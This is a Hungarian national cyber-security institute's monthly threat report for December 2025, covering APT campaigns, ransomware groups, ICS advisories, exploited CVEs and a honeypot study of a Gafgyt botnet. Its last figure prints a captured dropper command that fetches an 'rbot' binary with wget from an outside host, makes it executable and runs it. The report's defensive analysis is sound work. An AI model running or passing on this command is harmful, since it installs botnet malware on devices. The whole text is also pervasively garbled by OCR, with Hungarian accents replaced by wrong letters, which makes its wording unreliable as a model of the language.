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A Nemzetbiztonsdgi Szakszolgdlat Nemzeti Kiberbiztonsagi Intézet havi rendszerességgel
ad ki fenyegetéselemzést, mely 6sszefoglalja a kibertér globdilis, valamint magyarorszagi
helyzetét. A riport megismerése megfeleld tdmpontot adhat az olvasé szdmdara, hogy

szervezete milyen IT biztonsdgi kihivdsokkal nézhet szembe a kdzeli jovében.

2025 decemberében a globdlis kiberfenyegetettségi kdrnyezet jelentdésen eszkaldldédott,
amit az dllamilag tdmogatott APT-csoportok aktivitdsdnak ndvekedése és a zsaroldvirus-
kampdnyok Uj hulldma jellemzett. A tdmaddsok célkeresztieben nem csupdn katonai és
kormdanyzati infrastruktirdk dllitak, hanem egyre gyakrabban civil szervezetek, ipari
rendszerek és felhdalapu kbérnyezetek is. A fenyegetések technikailag is jelentds
fejlédésen mentek keresztUl: megjelentek a komplex, tébbrétegld tdmaddsi
mechanizmusok, a kernel-szintd rooftkitektél kezdve az AMSI (Anfimalware Scan

Interface) kerGl& technikdkon &t, egészen a célzott oldalirdnyu terjedésig.

A vilag kUlonb6z6 régidiban tapasztalt tdmaddsok egyre inkdbb stratégiai célpontokra
fokuszaltak, beleértve a SCADA/ICS rendszereket €s a pénzUgyi infrastrukturdkat is. Ezzel
pdrhuzamosan megndtt a nem dllami szerepldk dltal haszndlt Malware-as-a-Service
megolddasok és az elldtdsi Idncokon keresztlli kompromittdldsok szdma is. A célpontok
kére folyamatosan bévil, a lakossdgi loT-eszkdzoktdl egészen a magas szintd politikai,

kormdnyzati rendszerekig.

A részletes jelentésben olvashatd konkrét esetek és csoportok bemutatdsa alapjdn
vildgosan kirajzolédik a 2025-6s év egyik legfébb kiberbiztonsagi tanulsdga: a tdmaddk
motivacidi és eszkdztdra folyamatosan fejlédnek, mikdzben a kritikus rendszerek védelme

egyre nagyobb kihivast jelent mind technikai, mind stratégiai szempontbdl.
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Kdros kodok és zsaroldvirusok

APT csoportok

2025 decembere a globdlis kiberfenyegetettségi kép jelentds eszkaldcidjat hozta,
kUldndsen a kinai és orosz dllami hdtterG APT csoportok részérdl. A feltdrt kampdnyok
ravildgitottak, hogy a tdmaddk mdr nemcsak adatot lopnak, hanem a kritikus
infrastrukturdk  (vizmOvek, élelmiszeripar) elleni  szabotdzsakcidkra, valamint «
virtualizdcios és hdldzati védvonalak tartdés kompromittdldsdara térekszenek Eurdpdban,

az USA-ban és Azsidban.
Oroszorszdg:

2025 mdijusa és juniusa kodzott az FSB-hez kdthetd, Calisto! néven ismert hackercsoport
eurépai civil szervezeteket, kdztUk a Riporterek Hatdrok NélkUl (RSF) munkatdrsait vette
célba kifinomult adathaldsz tdmaddsokkal. A Sekoia jelentése? szerint az akcid sordn a
tdmadok megbizhatd kapcsolatnak dlcdzva magukat, ProtonMail-fiokokon keresztUl
probdltdk meg rdvenni az dldozatokat rosszindulaty hivatkozdsok megnyitdsdra vagy
fert6zott archivumok letéltésére a hitelesité adatok megszerzése érdekében. Bdr a
tdmaddsok egy részét a szolgdltatdk kdzbelépése meghiusitotta, a kampdny rdvildgit
arra, hogy az orosz dllami szerepldk tovdbbra is szisztematikusan tdmadjdk az Ukrajnat
tdmogatdé NGO-kat és a Moszkva szédmdra kényes témdkkal foglalkozd

kutatdintézeteket.
Kina:

Egy 2025. december 4-i CISA-jelentés? szerint kinai dllami hdtterl csoportok (mint példdul
a Warp Panda és az UNC5221) a BRICKSTORM* backdoor malware segitsegével vettek
célba amerikai kormdnyzati és informatikai szervezeteket. A tdmaddk vdltozatos

maodszerekkel juthattak be elészé&r DMZ-ben futd szerverekbe, majd onnan - oldalir&nyu

! https://malpedia.caad.fkie.fraunhofer.de/actor/callisto

2 https://blog.sekoia.io/ngo-reporters-without-borders-targeted-by-calisto-in-recent-campaign/

3 https://www.cisa.gov/news-events/alerts/2025/12/04/prc-state-sponsored-actors-use-brickstorm-malware-
across-public-sector-and-information-technology

4 https://malpedia.caad.fkie.fraunhofer.de/details/elf.brickstorm
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terjedéssel (lateral movement) - belsd virtualizdcios platformokra (VMware Vcenter)
telepitették a kartevdt, amely rétegzett titkositassal (HTTPS, WebSockets, TLS) és DoH-
lekérdezésekkel rejti el a kommunikaciéjat. A malware egyik kUldnlegessége az
ongyogyitd mechanizmusa, amely zavar esetén automatikusan Ujrainditjia vagy
Ujratelepiti dnmagdt, mikdézben a tdmaddk a megfertézdtt platformokon  keresztul

virtudlis gép pillanatképeket lopnak el, valamint bizalmas adatokat szivarogtattak ki.

2025 dprilisaban szintén kinai dllami hatterd tdmadok (valdszinUsithetéen a Space Pirates
vagy a Calypso csoport) japdn szdllitmdanyozdasi és logisztikai vallalatokat vettek célba az
Ivanti Connect Secure sebezhetdségeinek (CVE-2024-218935 CVE-2024-21887¢)
kihaszndldsaval. A LAC Watch 2025. decemberi jelentése’ szerint a tdmadok a feltdrt
eszkdzdkdn keresztUl bejutottak a belsd szerverekre, ahol kdros kddokat, mint példdul a
MetaRAT, a Talisman és a PlugX varidnsait telepitették DLL sideloading® technikdval. A
tdmadds sordn alkalmazott MetaRAT kUlondsen hatékonyan kerUlte el a detektdldst
tébbrétegu titkositds, API-hashing?, és egyedi hdaldzati protokollok segitségével, mikdzben
a tdmadok emelt szintd jogosultsdgokat szereztek a megtédmadott MS Active Directory

kérnyezetben, biztositva a hosszu tavu hozzdférést a rendszerhez.

2025 novembere és decembere kdzdtt az UAT-92686 (APT41 vagy UNC5174) csoport a
Cisco biztonsagi eszkdzeinek kritikus sebezhetdsegét (CVE-2025-20393'9) kihaszndlva
hajtott végre célzott tdmaddsokat. A Cisco Talos jelentése!! szerint a tdmaddk a nem
megfeleléen védett Spam Quarantine interfészeken keresztll jutottak adminisztratori
jogosultsaghoz, majd telepitették az AquaShell nevl Python-alapu backdoort, amely az
eszkdz webes fellletébe dgyazva tette lehetdvé tavoli parancsok végrehajtasat. A tartds
jelenlét biztositdsara az AquaTunnel és a Chisel eszkdzdket haszndltdk titkositott csatorndk
kiépitésére, mikdzben az AquaPurge kdrtevével szisztematikusan torolték  a
tevekenysegUkre utald napldbejegyzéseket, minimalizalva a leleplezédés kockazatat a

kompromittdalt hdlézatokban.

5 https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2024-21893/

6 https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2024-21887/

7 https://www.lac.co.jp/lacwatch/report/20251208 004569.html|

8 https://techzone.bitdefender.com/en/tech-explainers/what-is-dll-sideloading.html
% https://attack.mitre.org/techniques/T1027/007/

10 https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-20393/

11 https://blog.talosintelligence.com/uat-9686/
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Az ESET 2025. december 18-i jelentése!? szerint a LongNosedGoblin nevet viseld, Ujonnan
azonositott kinai hdtterd APT-csoport kiterjedt kiberkémkedési kampdanyt folytatott
délkelet-dzsiai és japdn kormdnyzati szervek ellen. A tdmaddk tdbblépcsds fertdzési
ldncokat, AMSI-kerUlé (Antimalware Scan Interface) technikdkat és felhdszolgdltatasokat
(OneDrive, Google Drive) haszndinak az adatszivarogtatdshoz, mikdzben olyan specidlis
eszkdzokkel egészitik ki miveleteiket, mint a képernyd&felvételre haszndlt Argument

Runner vagy a forgalom titkositasat vegzd ReverseSocks5 proxy.

A CloudSEK 2025. december 24-i jelentése szerint a Silver Fox (mds néven Void Arachne)
APT-csoport nagyszabdsu adathaldsz kampdnyt inditott indiai szervezetek ellen, az indiai
addéhatdsdg nevével visszaélve. A tdmaddk hivatalos dokumentumnak dlcdzott PDF-
fajlokon keresztUl iranyitottdk az dldozatokat egy rosszindulaty domainre, ahonnan egy
NSIS (nyiltforradskdédu, Windows telepitdkészletek Iétrehozdsdra haszndlhatd rendszer)
alapu telepitdt tdltettek le velUk. A fertézési ldnc sordn a csoport DLL-eltéritést (DLL side-
loading) alkalmazott, egy hiteles, aldirt végrehajthatd fdjlt (Thunder.exe) haszndltak fel
arra, hogy bejuttassanak egy kdrtékony libexpat.dll nevi dllomdnyt, amely végul
memoridban futd shellcode segitségével telepitette a ValleyRAT tréjait. Ez a moduldris
kartevd kifinomult rejtézkddési technikdkat alkalmaz, beleértve a Windows Defender
kiiktatasat és a Windows bedllitdsjegyzékében (Registry) tdrolt bévitményeket, mikdzben
hdromszintd C2 infrastruktirdn keresztGl biztosit tavoli hozzdférést, adatlopdsi és

medgfigyelési képességeket a tdmaddknak.

A Kaspersky Securelist 2025. december 29-i jelentése!s szerint a HoneyMyte (mds néven
Mustang Panda vagy RedDelta) csoport tdmaddssorozatot hajtott végre mianmari és
thaifdldi kormdnyzati szervek ellen. A mUvelet kdzponti eleme egy kernel-modu ,,mini-
filter” rootkit, amely egy lejdrt, de érvényesnek tUnd tanuUsitvanyt haszndlva épll be a
Windows operdcids rendszer mélyebb rétegeibe. A meghajtéként mikddd programkdd
nemcsak vedi dnmagdat a torles ellen, hanem szisztematikusan kiiktatja a Microsoft
Defendert, és Iathatatlannd teszi a tdmadodk folyamatait a biztonsdgi szoftverek eldl. A
rootkit egy magas jogosultsdgl svchost folyamatba injektdlja a ToneShell backdoor

legUjabb variansat, amely egyedi TLS 1.3 imitdcioval €s XOR fitkositassal kommunikdl a

12 https://www.welivesecurity.com/en/eset-research/longnosedgoblin-tries-sniff-out-governmental-affairs-
southeast-asia-japan/
13 https://securelist.com/honeymyte-kernel-mode-rootkit/118590/
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tdmadok szervereivel, mikdzben a driver folyamatosan blokkol minden olyan kisérletet,

amely a kartevé észlelésére vagy ledllitasara irdnyulna.
Kozel-kelet:

A Palo Alto Networks Unit 42 részlegének 2025. decemberi jelentése szerint a
feltételezhetéen a Hamdszhoz kdthetd Ashen Lepus (mds néven WIRTE) hackercsoport
kiteriesztette kiberkémkedési tevékenységét a Kézel-Keleten és Eszak-Afrikdban. A
csoport a kordbbi palesztin, jorddniai és egyiptomi célpontjai mellett immdar omani és
marokkdi kormdanyzati és diplomdciai szervezeteket is tdmad az Uj, AshTag elnevezésy
moduldris malware-csaldddal. A tdmadok térdk—palesztin diplomdciai és védelmi
kapcsolatokrél sz6l6 dokumentumoknak dlcdzott, fertézott PDF-fajlokkal és RAR-
archivumokkal hatolnak be a rendszerekbe, ahol a detektdlds elkerllése érdekében in-
memory végrehajtdst és DLL-sideloading technikdt alkalmaznak. Bdr a térségben zqjld
konfliktusok alatt mds palesztin csoportok aktivitdsa csdkkent, az Ashen Lepus még a
2025. oktéberi tUzszUnetet kdvetden is aktive maradt, célzottan diplomdciai iratok

ellopdsdra és hosszU tavu informdcidszerzésre térekedve.

Az NKI dltal kdzétett kdzzétett rendszeres IT-biztonsdgi hirek alapjdn a nem dllami
szereplék tdmaddsi trendjeinek kdzéppontjdban a felhaszndldi bizalom és a legitim
platformok szisztematikus kijatszasa dll, legyen szé lakossdgi okoseszkdzokrdl, fejlesztoi
kornyezetekrdl vagy hivatalos alkalmazdsboltokrdl. Meghatdrozd irdnyvonal a Maas
(Malware-as-a-Service) modell térnyerése (példdul SantaStealer, AMOS), amely bdrki
szamdra elérhetévé teszi a kifinomult adatlopdst, valamint az harmadik féltél szdrmazd
szoftverek kompromittdldsa, ahol a tdmaddk elbére fertdézott hardverekkel (Kimwolf
botnet), kdrtékony fejlesztéi  bdvitményekkel (Glassworm) vagy megbizhatd
szoftverboltokba (Google Play) becsempészett tréjaiakkal (Anatsa) érnek el tdmeges
fertézést. A technikai megolddsok terén medfigyelhetdé a tdbbrétegl rejtézkddés
(példdaul Unicode-karakterek haszndlata, memaridban futd kédok, ,,doppler-technika™
szerinti késleltetett frissités), mikdzben a célpontok kére a hétkdznapi felhaszndldktol és
szorakoztatd elektronikai eszkdzoktdl (Android TV boxok, torrent-feliratok) egészen a

magas hirszerzési értékkel bird politikai és Uzleti vezetdkig (Candiru spyware) terjed.
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Magyarorszagi trendek:

Az NBSZ-NKI  hénaprdl  hénapra
elvégzi a Magyarorszdghoz kdéthetd
fertézottségi informdciok elemzeését.
Decemberben hasonléan az el6z6
hénapban  tapasztalt  emelkedés
folyatédott a banki fréjai fertézések,
valamint az informd&cié lopdst végzd
kartevék szdmdban, tfovdbbd a
nemzetkdzi trendeknek megfeleléen
hazdnkban is igen elterjedtek az

Android kdartevék is.
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1. dbra: Kdros kéd trendek Magyarorszdgon
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A beérkezett adatok elemzése alapjadn megdllapithatd, hogy az elmult hdnapban
ndvekvd tendenciat mutattak a .hu TLD-vel rendelkezd weboldalakon az adathaldsz és
egyéb malware-teriesztésre haszndlt fertdézések, illetve a vezérlészerverként mikddod
webszerverek szdma is. Kiemelendd, hogy a szomszédos Romdnia infrastrukturdjat két
nagyobb a sajtéban is megjelend tdmadds sulytotta. A romdn vizigyi hatésagot ért
zsarolévirus fertézes'4 tobb mint 1000 szamitdgépet, foldrajzi informdacids rendszereket,
adatbdzisokat, e-mail és webkiszolgdldst is érintett, viszont az ipari rendszerek (OT)
sértetlenek maradtak, igy a vizelldtds folyamatos volt. Szintén Romdnidban egy
széntUzelést erébmuU az Oltenia Energy Complex ellen tértént tdmaddas'® a Gentlemen
csoport dltal, mely miatt a teljes IT infrastruktira ledlidsra kényszerdlt, viszont a termelést

ez a tdmadds sem érintette.

2025 decembereben az NBSZ-NKI informdcidi alapjan az eléz6 honaphoz képest
nagyban emelkedett a sikeres zsaroldvirus-tdmaddsok szédma. Ez arra utal, hogy a

ransomware-dkoszisztéma az eddigi frendeknek megfeleléen tovdabb fejléddhetett.

A novemberben megismert informdcidk szerint a zsaroldvirus-csoportok elsdésorban az
épitdipari, gyartdsi, ipari gépgydrtd, jogi é€s egészségugyi szektort vették célba. A legtdbb
incidens az Amerikai Egyestlt Allamokban tértént, ugyanakkor Eurdpa, illetve Kdzép-
Eurépa tovdbbra is érintett: Magyarorszagrdl, Ausziridbdl, Szlovdkidbdl, Romdanidbdl,

Lengyelorszagbdl is jelentettek ilyen eseményeket.

14 https://www.bleepingcomputer.com/news/security/romanian-water-authority-hit-by-ransomware-attack-over-

weekend/

15 https://www.bleepingcomputer.com/news/security/romanian-energy-provider-hit-by-gentlemen-ransomware-

attack/
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Decemberben Qilin  bizonyult @
legaktivabb  zsaroldvirus-csoportnak,
amely egy Ransomware-as-a-Service
(RaaS) modellben mikddd, Windows,
Linux és VMware kdérnyezetekre
szabhatd  zsaroldvirusokat  haszndld
kiberbUndzoéi csoport. A tdmaddsaikat
foként adathaldszattal  és  tavoli
felogyeleti eszkdzok (RMM)
kihaszndldsaval  hajtigk  végre, az
OsszegyUjtdtt  vdltsagdijokbdl  pedig
magas, 80-85%-os jutalekot kindinak
partnereiknek, mikdzben szigorian

tiltjak a Foggetlen Allamok Kézdssége
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2. dbra: Top 10 zsaroldvirus trendadatai

(FAK) orszdgainak célba vételét. Bar kdveteléseik dltaldban 50 ezer és 800 ezer dolldr

kdzé esnek, a Synnovis egészségugyi szolgaltato elleni tdmadds sordn mar 50 millié dollart

kbéveteltek, ami jelzi a csoport ndvekvd ambicidit és a kritikus infrastruktirdkra jelentett

veszélyét.

A sikeres zsarolovirus-tdmaddsok sordn a tdmadok tdbb ismert sérllékenységet is

kihaszndlnak, elsésorban azért, mert a szoftverek rendszeres frissitései rendszeresen

elmaradnak, igy ezen hibdk kihaszndldsa kildndsen egyszerld. A leggyakrablban felismert
sebezhetéség a CVE-2022-36537'¢, amellyel a ZK Java Web Framework hibdja

haszndlhato ki egy specidlisan 6sszedllitott HTTP POST kérés segitségével. A sebezhetdség

révén érzékeny informdcidk nyerhetdk ki a rendszerbdl.

16 https://nvd.nist.gov/vuln/detail/cve-2022-36537
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A tdmadok emellett tovdabbra is eldszeretettel élnek a CVE-2021-44228'7 (Log4Shell),
illetve a CVE-2024-1709'8, dltal kindlt lehetdségekkel. Az NBSZ-NKI javasolja a frissitési
eléirdsok kdvetkezetes betartdsat, valamint a szervezet weboldaldn rendszeresen

megjelend serllékenysegi kdzlemények folyamatos figyelemmel kisérését.

7 https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2021-44228/
18 https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2024-1709/
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2025 decemberében az ipari vezérlérendszereket (ICS) és SCADA hdldzatokat érintd
biztonsagi incidensek, valamint kritikus riasztdsok szama szignifikdns ndvekedést mutatott.
Ezen események rdvildgitanak az operativ technoldgiai (OT) kdrnyezetek fokozott
kitettségére és a célzott tdmaddsi vektorok folyamatos fejlédésére, amiindokolttd teszi a
védelmi intézkedések felUlvizsgdlatat. A CISA 2025. decemberében szémos ipari

vezérlérendszer gydrtd termékének sebezhetdségére figyelmeztetett:

Industrial Video & Control Longwatch *°

Iskra iIHUB and iHUB Lite20

Johnson Controls OpenBlue Mobile Web Application for OpenBlue Workplace?!
Multiple India-based CCTV Cameras?

Siemens |IAM Client23

Siemens Advanced Licensing (SALT) Toolkit24

Hitachi Energy AFS, AFR and AFF Series?

Inductive Automation Ignition2s

Schneider Electric EcoStruxure Foxboro DCS Advisor?’

Axis Communications Camera Station Pro, Camera Station, and Device
Manager?

¢ WHILL Model C2 Electric Wheelchairs and Model F Power Chairs?

A CISA, az FBI és nemzetkdzi partnereik 2025 decemberi figyelmeztetése® szerint a GRU
dltal tdmogatott hackercsoportok, mint a CyberArmyofRussia_Reborn (CARR), a
NoName057(16) és az ezekbdl alakult Z-Pentest, egyre agresszivabban tdmadjdk az
amerikai  és eurdpai kritikus infrastrukturdkat. A tdmaddk alacsony technikai
felkészUltségUk ellenére fizikai kdrokat is okoztak, 2024 novemberében egy az egyesult
dllamokbeli husizem elleni akcidjuk sordn tdbb ezer kild his romlott meg és

ammoniaszivargds lépett fel, mig egy vizmU elleni tdmaddsuk egymillié liternyi ivoviz

9 |ndustrial Video & Control Longwatch | CISA

20 https://www.cisa.gov/news-events/ics-advisories/icsa-25-336-02

2! https://www.cisa.gov/news-events/ics-advisories/icsa-25-338-03

22 https://www.cisa.gov/news-events/ics-advisories/icsa-25-343-03

23 https://www.cisa.gov/news-events/ics-advisories/icsa-25-345-04

2 https://www.cisa.gov/news-events/ics-advisories/icsa-25-345-05

2 https://www.cisa.gov/news-events/ics-advisories/icsa-25-350-03

26 https://www.cisa.gov/news-events/ics-advisories/icsa-25-352-01

27 https://www.cisa.gov/news-events/ics-advisories/icsa-25-352-02

28 https://www.cisa.gov/news-events/ics-advisories/icsa-25-352-08

29 https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-364-01
30 https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-343a
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elfolyasdhoz vezetett. A csoportok elsdsorban gyengén védett, internetre nyitott VNC-
kapcsolatokat és alapérteimezett jelszavakat kihaszndlva férnek hozzda ipari
vezérlérendszerekhez (ICS). Bar moddszereik gyakran szakszerUtlenek és az elért hatds
véletlenszery, a hatdésdgok hangsulyozzdk, hogy az automatizdlt szkennelés miatt a
legkisebb 6nkormdnyzati szolgdltatdk és magdncégek is dllandd veszélynek vannak

kitéve.
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Sérilékenység publikdldsok az NKI
weboldaldn december hénapban

(kritikus)

hénapban

Sériulékenység publikdlasok a CISA
KEV katalégusaban **december

CVE-2025-8489

CVE-2025-13486
CVE-2025-55182
CVE-2025-54988
CVE-2022-37055
CVE-2021-35211
CVE-2025-42928
CVE-2025-42880
CVE-2025-55754
CVE-2025-10573
CVE-2025-59718
CVE-2025-59719
CVE-2025-14611
CVE-2025-58360
CVE-2025-20393
CVE-2025-59374
CVE-2025-14733
CVE-2020-12812
CVE-2026-0625

CVE-2025-37164
CVE-2026-21858
CVE-2025-68613
CVE-2025-68668
CVE-2026-21877

CVE-2025-48633

CVE-2025-48572

CVE-2021-26828

CVE-2025-55182

CVE-2022-37055

CVE-2025-66644

CVE-2025-6218

CVE-2025-62221

CVE-2025-58360

CVE-2018-4063

CVE-2025-14174

CVE-2025-14611

CVE-2025-43529

CVE-2025-59718

CVE-2025-59374

CVE-2025-40602

CVE-2025-20393

CVE-2025-14733

CVE-2023-52163

CVE-2025-14847

3. dbra: Decemberi &sszegzd tabldzat az NKI dltal publikdlt kritikus
sérilékenységekbdl, illetve a CISA KEV kataldégusdbdl
A 2025. év végeén kritikus kockdzatot jelentett tobb, népszer( szoftverben felfedezett
serllékenyseg. A vizsgdlt idészakban publikalt CVE-bejegyzések trendjei alapjan a

relevdns gyengeségtipusok (CWE) két meghatdrozo kategdridba sorolhatok:

e Magas sulyossdgu, tavoli kédfuttatast (RCE) lehetdvé tevd sebezhetdségek
Szerveroldali keretrendszerekben, amelyek a kritikus Uzletfi logika és adatok

kdézvetlen kompromittdldsaval fenyegetnek.

31https://www.cisa.gov/known-exploited-vulnerabilities-catalog

2025. december e



https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-8489/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-48633/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve%e2%80%912025%e2%80%9113486/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-48572/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-55182/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2021-26828/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-54988/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-55182/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2022-37055/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2022-37055/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2021-35211/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-66644/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-42928/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-6218/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-42880/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-62221/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-55754/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-58360/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-10573/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2018-4063/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-59718/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-14174/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-59719/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-14611/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-14611/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-43529/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-58360/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-59718/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-20393/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-59374/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-59374/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-40602/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-14733/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-20393/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2020-12812/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-14733/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2026-0625/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2023-52163/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-37164/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-14847/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2026-21858/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-68613/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2025-68668/
https://nki.gov.hu/figyelmeztetesek/cve-serulekenysegek/cve-2026-21877/
https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Havi CTl riport

e A hdlézati peremvédelmi eszkdzdkben azonositott, a hitelesitési mechanizmusok
megkerUlésére (Authentication Bypass) alkalmas hibdk, amelyek kdzvetlen utat

biztositanak a belsd hdldzatokba vald illetéktelen behatoldshoz.

A vizsgdlt idészak egyik legjelentésebb hatdsy sebezhetdésége a Meta React Server
Components implementdacidjat érinté CVE-2025-55182 azonositéju hiba volt. A
sérUlékenység kritikus sulyossdgu, kihaszndldsa lehetévé teszi a nem hitelesitett tavoli
tdmadok szdmdara tetszdleges programkdd  futtatdsat (RCE) a  szerveroldalon,
amennyiben a kérnyezet olyan specifikus komponenseket alkalmaz, mint a react-server-
dom-parcel, a turbopack vagy a webpack. A React és Next.js dkoszisztéma globdlis
elterjedtsége miatt a sebezhetdség kiterjedt infrastrukturdlis kitettséggel rendelkezett a
frontend-backend integrdlt szolgdltatdsokndl, kGléndsen a szerveroldali renderelést (SSR)
haszndld architekturdk esetén. A biztonsdgi hiba kritikus besorolasat igazolja a maximdlis,
10.0-s CVSS pontszdm, valamint az a tény, hogy a CISA — az igazolt és aktiv kihaszndldsi
kisérletek miatt — felvette azt a bizonyitottan kihaszndlt sérUlékenységek (KEV)

katalégusdba.

Emlitésre méltd sebezhetdségek tovabbd a Fortinet eszkdzdkben felfedezett CVE-2025-
59718, valamint a CVE-2025-59719 azonositdju hitelesitési-megkerUlést lehetdveé tevd
hibdk, amelyek egy nem megfeleld kriptogrdfiai aldirds ellendrzés miatt a FortiCloud SSO
bejelentkezés hitelesitésének megkerilését segithetik eld. A sérllékenységek kritikus
kockdzatot jelentenek a tUzfalak, atjdrok és hdldzati menedzsment rendszerek szadmdara,
mivel egy sikeres tdmadd adminisziratori hozzdférést szerezhet anélkll, hogy érvényes
hitelesitési adatokkal rendelkezne, aminek kdvetkeztében akdr konfigurdcidk

megismerése, vagy tovabbi hdldzati eszkdzdk kompromittdldsa is bekdvetkezhet.

A kiemelt sebezhetdségek publikdldsat kdvetden aktiv kibertdmaddsi hulldmok indultak,
amire az NBSZ-NKI riasztas kiaddsaval reagdlt. Javasoljuk a jelzésekben foglaltak
mihamarabbi elvégzését, kUlondsképpen a tdmaddsokat megakaddlyozni képes

konfiguracios médositdsok elvégzését, illetve a sérllékeny szoftverek frissitését.
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A globdlis malware tfrendeket megtekintve felismerhetd a botnet tipusu fertézések erds
dominancidja. Statisztikadk azt mutatjdk, hogy a Mirai tipusU malwarek évek 6ta nagy
népszerUségnek drvendenek. Ezt a Honeypotra beérkezd események is megerdsithetik.
A december honap adatai kdzdétt azonban kiugré eseményként fedezhetjok fel az

Gafgyt jelenlétét.

A Gafgyt (mds néven Bashlite) egy klasszikus de mai napig kifejezetten aktiv Linux- és loT-
célU botnet kartékony kddcsaldd, amelynek elsédleges rendeltetése nagy volumend
DDoS tdmaddsok végrehajtdsa kompromittdlt eszkdzok hdaldzatdn keresztll. Jellemzben
bedgyazott Linux rendszereket — példdul routereket, IP-kamerdkat és DVR/NVR
eszkdzdket — fertdz, terjedése féként gyenge vagy alapértelmezett Telnet/SSH hitelesitési
adatok brute-force kihaszndldsdn, valamint kampdanyfiggden ismert sérilékenységeken
alapul. A bot ELF formd&tumu bindrisként téblb CPU-architektUrdra (ARM, MIPS, x86 stb.)
fordul, kozponti vezérlesU botnetként muikodik, egyszerd, sok varidnsban IRC-szer(
parancslogikaval. Funkcidi  elsésorban  kiUldnbdzE6 TCP/UDP  alapu  tulterheléses
tdmaddsokra koncentrdinak, de gyakran tartalmaz botmenedzsment és frissitési
kepessegeket is. HosszU ideje aktiv, kdnnyen modosithatd kodbdzisa miatt a Gafgyt
kiterjedt varidns-Okoszisztémdat hozott létre, és a tdmaddok gyakran félrevezetd

fajinevekkel (példaul ,rbot”) terjesztik, ami idénként pontatlan attribdcidohoz vezet.
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Kdros kddok eloszldsa - December
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4. dbra: December hdnapban beérkezett kdros kddok eloszidsa malware csaldd alapjdn

A tobb mint 3700 begyujtdtt karos dropper URL egy forrdsbdl szarmazik egy
kiterjesztett probdlkozdsi kisérlet soran. A Németorszagbdl érkezd gyors lefolydsu
forgalom tébb Koézigazgatdsi dgazatban elhelyezett Honeypot szenzort érintett.
A telnet szolgdltatdsok 30 ezer korUli kérést fogadtak egy fél ords
idSintervallumban. A brute force jellegl bejelentkezési kisérleteket kdvetden
kUlonbozé fajlrendszeri valtoztatdsok és parancsok lefuttatasaval probdltak meg

a tdmadodk perzisztencidt kialakitani a rendszeren.
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Események idébeli alakuldsa
® csapda események szama 0
® csisz6 atlag

logaritmikus trend 112.152

5. dbra: Forgalomvdaltozds az esemény sordn

A tdmadds sordn a kdvetkezd mintdzattokat fedeztUk fel:

Alapértelmezett SSH és Telnet hitelesité adatok felhaszndldsa

. Kénnyen kihaszndlhatd célpontok (Telnet)
. Linux/loT célzatu parancsok
. Megvdltoztatott futtatdasi jogok

. ELF alapu letoltétt futtathatd kod

Az URL-ben szerepld fdjinév ellenére nem taldlhato 6sszeflggés a Windows-0s
korokben ismert Rbot kartékony koddal. Gafgyt kampdnyok esetében gyakori,

hogy az adatcsomagok rbot, bot vagy bins neveket kapjdk.

cd /tmp || ed /var/run || cd /mnt || cd /root || cd /;
wget http://1i0v1iar1troat/botpilled/rbot;
chmod 777 *;

./rbot

6. dbra: részlet a kdros kod letéltését végrehajtd parancsrbdl
